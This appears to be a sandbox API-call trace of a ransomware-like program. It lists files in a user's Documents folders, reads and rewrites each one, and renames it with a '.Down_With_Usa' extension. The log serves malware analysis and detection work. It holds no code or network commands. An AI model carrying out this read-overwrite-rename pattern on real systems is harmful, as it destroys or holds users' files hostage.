[0119.520] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods.Down_With_Usa", lpFilePart=0x0) returned 0x6d
[0119.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0119.520] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\y7jpyl8-fyyxjivflxs.ods"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4b2d100, ftCreationTime.dwHighDateTime=0x1d5e30d, ftLastAccessTime.dwLowDateTime=0x49ce7bf0, ftLastAccessTime.dwHighDateTime=0x1d5e0e1, ftLastWriteTime.dwLowDateTime=0x23b5a860, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5df0)) returned 1
[0119.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0119.521] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\y7jpyl8-fyyxjivflxs.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\y7jpyl8-fyyxjivflxs.ods.down_with_usa")) returned 1
[0119.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0119.521] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex", lpFilePart=0x0) returned 0x4d
[0119.522] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\", lpFilePart=0x0) returned 0x4e
[0119.522] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9f36470, ftCreationTime.dwHighDateTime=0x1d5e050, ftLastAccessTime.dwLowDateTime=0x96bf0a20, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x96bf0a20, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.522] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9f36470, ftCreationTime.dwHighDateTime=0x1d5e050, ftLastAccessTime.dwLowDateTime=0x96bf0a20, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x96bf0a20, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.522] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x733e570, ftCreationTime.dwHighDateTime=0x1d5d8a6, ftLastAccessTime.dwLowDateTime=0xa17e6040, ftLastAccessTime.dwHighDateTime=0x1d5da15, ftLastWriteTime.dwLowDateTime=0xa17e6040, ftLastWriteTime.dwHighDateTime=0x1d5da15, nFileSizeHigh=0x0, nFileSizeLow=0xe602, dwReserved0=0x0, dwReserved1=0x0, cFileName="iHVWUdNWhOr4aCv6lA.pdf", cAlternateFileName="IHVWUD~1.PDF")) returned 1
[0119.522] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe91b20d0, ftCreationTime.dwHighDateTime=0x1d5df4e, ftLastAccessTime.dwLowDateTime=0x1816baf0, ftLastAccessTime.dwHighDateTime=0x1d5e14a, ftLastWriteTime.dwLowDateTime=0x1816baf0, ftLastWriteTime.dwHighDateTime=0x1d5e14a, nFileSizeHigh=0x0, nFileSizeLow=0x5546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Il4cIZYKRCl-E.csv", cAlternateFileName="IL4CIZ~1.CSV")) returned 1
[0119.522] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f880f40, ftCreationTime.dwHighDateTime=0x1d5dc57, ftLastAccessTime.dwLowDateTime=0x4e3461c0, ftLastAccessTime.dwHighDateTime=0x1d5e38c, ftLastWriteTime.dwLowDateTime=0x4e3461c0, ftLastWriteTime.dwHighDateTime=0x1d5e38c, nFileSizeHigh=0x0, nFileSizeLow=0x1240c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RWkhppKXSR0A136aLSC.docx", cAlternateFileName="RWKHPP~1.DOC")) returned 1
[0119.522] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa22a480, ftCreationTime.dwHighDateTime=0x1d5da7a, ftLastAccessTime.dwLowDateTime=0x6a57ed60, ftLastAccessTime.dwHighDateTime=0x1d5db33, ftLastWriteTime.dwLowDateTime=0x6a57ed60, ftLastWriteTime.dwHighDateTime=0x1d5db33, nFileSizeHigh=0x0, nFileSizeLow=0x2c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThkAIMM9-4H2dz.pps", cAlternateFileName="THKAIM~1.PPS")) returned 1
[0119.522] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58195840, ftCreationTime.dwHighDateTime=0x1d5e381, ftLastAccessTime.dwLowDateTime=0xd3b20850, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0xd3b20850, ftLastWriteTime.dwHighDateTime=0x1d5daba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XBUI7", cAlternateFileName="")) returned 1
[0119.522] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58195840, ftCreationTime.dwHighDateTime=0x1d5e381, ftLastAccessTime.dwLowDateTime=0xd3b20850, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0xd3b20850, ftLastWriteTime.dwHighDateTime=0x1d5daba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XBUI7", cAlternateFileName="")) returned 0
[0119.522] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0119.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0119.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0119.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex", lpFilePart=0x0) returned 0x4d
[0119.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\", lpFilePart=0x0) returned 0x4e
[0119.523] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9f36470, ftCreationTime.dwHighDateTime=0x1d5e050, ftLastAccessTime.dwLowDateTime=0x96bf0a20, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x96bf0a20, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9f36470, ftCreationTime.dwHighDateTime=0x1d5e050, ftLastAccessTime.dwLowDateTime=0x96bf0a20, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x96bf0a20, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x733e570, ftCreationTime.dwHighDateTime=0x1d5d8a6, ftLastAccessTime.dwLowDateTime=0xa17e6040, ftLastAccessTime.dwHighDateTime=0x1d5da15, ftLastWriteTime.dwLowDateTime=0xa17e6040, ftLastWriteTime.dwHighDateTime=0x1d5da15, nFileSizeHigh=0x0, nFileSizeLow=0xe602, dwReserved0=0x0, dwReserved1=0x0, cFileName="iHVWUdNWhOr4aCv6lA.pdf", cAlternateFileName="IHVWUD~1.PDF")) returned 1
[0119.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe91b20d0, ftCreationTime.dwHighDateTime=0x1d5df4e, ftLastAccessTime.dwLowDateTime=0x1816baf0, ftLastAccessTime.dwHighDateTime=0x1d5e14a, ftLastWriteTime.dwLowDateTime=0x1816baf0, ftLastWriteTime.dwHighDateTime=0x1d5e14a, nFileSizeHigh=0x0, nFileSizeLow=0x5546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Il4cIZYKRCl-E.csv", cAlternateFileName="IL4CIZ~1.CSV")) returned 1
[0119.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f880f40, ftCreationTime.dwHighDateTime=0x1d5dc57, ftLastAccessTime.dwLowDateTime=0x4e3461c0, ftLastAccessTime.dwHighDateTime=0x1d5e38c, ftLastWriteTime.dwLowDateTime=0x4e3461c0, ftLastWriteTime.dwHighDateTime=0x1d5e38c, nFileSizeHigh=0x0, nFileSizeLow=0x1240c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RWkhppKXSR0A136aLSC.docx", cAlternateFileName="RWKHPP~1.DOC")) returned 1
[0119.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa22a480, ftCreationTime.dwHighDateTime=0x1d5da7a, ftLastAccessTime.dwLowDateTime=0x6a57ed60, ftLastAccessTime.dwHighDateTime=0x1d5db33, ftLastWriteTime.dwLowDateTime=0x6a57ed60, ftLastWriteTime.dwHighDateTime=0x1d5db33, nFileSizeHigh=0x0, nFileSizeLow=0x2c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThkAIMM9-4H2dz.pps", cAlternateFileName="THKAIM~1.PPS")) returned 1
[0119.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58195840, ftCreationTime.dwHighDateTime=0x1d5e381, ftLastAccessTime.dwLowDateTime=0xd3b20850, ftLastAccessTime.dwHighDateTime=0x1d5daba, ftLastWriteTime.dwLowDateTime=0xd3b20850, ftLastWriteTime.dwHighDateTime=0x1d5daba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XBUI7", cAlternateFileName="")) returned 1
[0119.523] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0119.523] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0119.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0119.524] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf", lpFilePart=0x0) returned 0x64
[0119.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0119.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\ihvwudnwhor4acv6la.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0119.524] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0xe602
[0119.524] ReadFile (in: hFile=0x3a8, lpBuffer=0x2712bd0, nNumberOfBytesToRead=0xe602, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x2712bd0*, lpNumberOfBytesRead=0x2eadd8*=0xe602, lpOverlapped=0x0) returned 1
[0119.563] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf", lpFilePart=0x0) returned 0x64
[0119.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0119.563] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\ihvwudnwhor4acv6la.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0119.567] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf", lpFilePart=0x0) returned 0x64
[0119.567] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf.Down_With_Usa", lpFilePart=0x0) returned 0x72
[0119.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0119.567] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\ihvwudnwhor4acv6la.pdf"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x733e570, ftCreationTime.dwHighDateTime=0x1d5d8a6, ftLastAccessTime.dwLowDateTime=0xa17e6040, ftLastAccessTime.dwHighDateTime=0x1d5da15, ftLastWriteTime.dwLowDateTime=0x23ba6b20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe610)) returned 1
[0119.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0119.567] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\ihvwudnwhor4acv6la.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\iHVWUdNWhOr4aCv6lA.pdf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\ihvwudnwhor4acv6la.pdf.down_with_usa")) returned 1
[0119.568] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv", lpFilePart=0x0) returned 0x5f
[0119.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0119.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\il4cizykrcl-e.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0119.569] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x5546
[0119.569] ReadFile (in: hFile=0x3a8, lpBuffer=0x2647360, nNumberOfBytesToRead=0x5546, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x2647360*, lpNumberOfBytesRead=0x2eadd8*=0x5546, lpOverlapped=0x0) returned 1
[0119.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv", lpFilePart=0x0) returned 0x5f
[0119.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0119.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\il4cizykrcl-e.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0119.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv", lpFilePart=0x0) returned 0x5f
[0119.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv.Down_With_Usa", lpFilePart=0x0) returned 0x6d
[0119.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0119.594] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\il4cizykrcl-e.csv"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe91b20d0, ftCreationTime.dwHighDateTime=0x1d5df4e, ftLastAccessTime.dwLowDateTime=0x1816baf0, ftLastAccessTime.dwHighDateTime=0x1d5e14a, ftLastWriteTime.dwLowDateTime=0x23bf2de0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5550)) returned 1
[0119.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0119.594] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\il4cizykrcl-e.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\Il4cIZYKRCl-E.csv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\il4cizykrcl-e.csv.down_with_usa")) returned 1
[0119.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx", lpFilePart=0x0) returned 0x66
[0119.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0119.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\HlPex\\RWkhppKXSR0A136aLSC.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\hlpex\\rwkhppkxsr0a136alsc.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0119.595] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x1240c
[0119.595] ReadFile (in: hFile=0x3a8, lpBuffer=0x2753350, nNumberOfBytesToRead=0x1240c, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x2753350*, lpNumberOfBytesRead=0x2eadd8*=0x1240c, lpOverlapped=0x0) returned 1
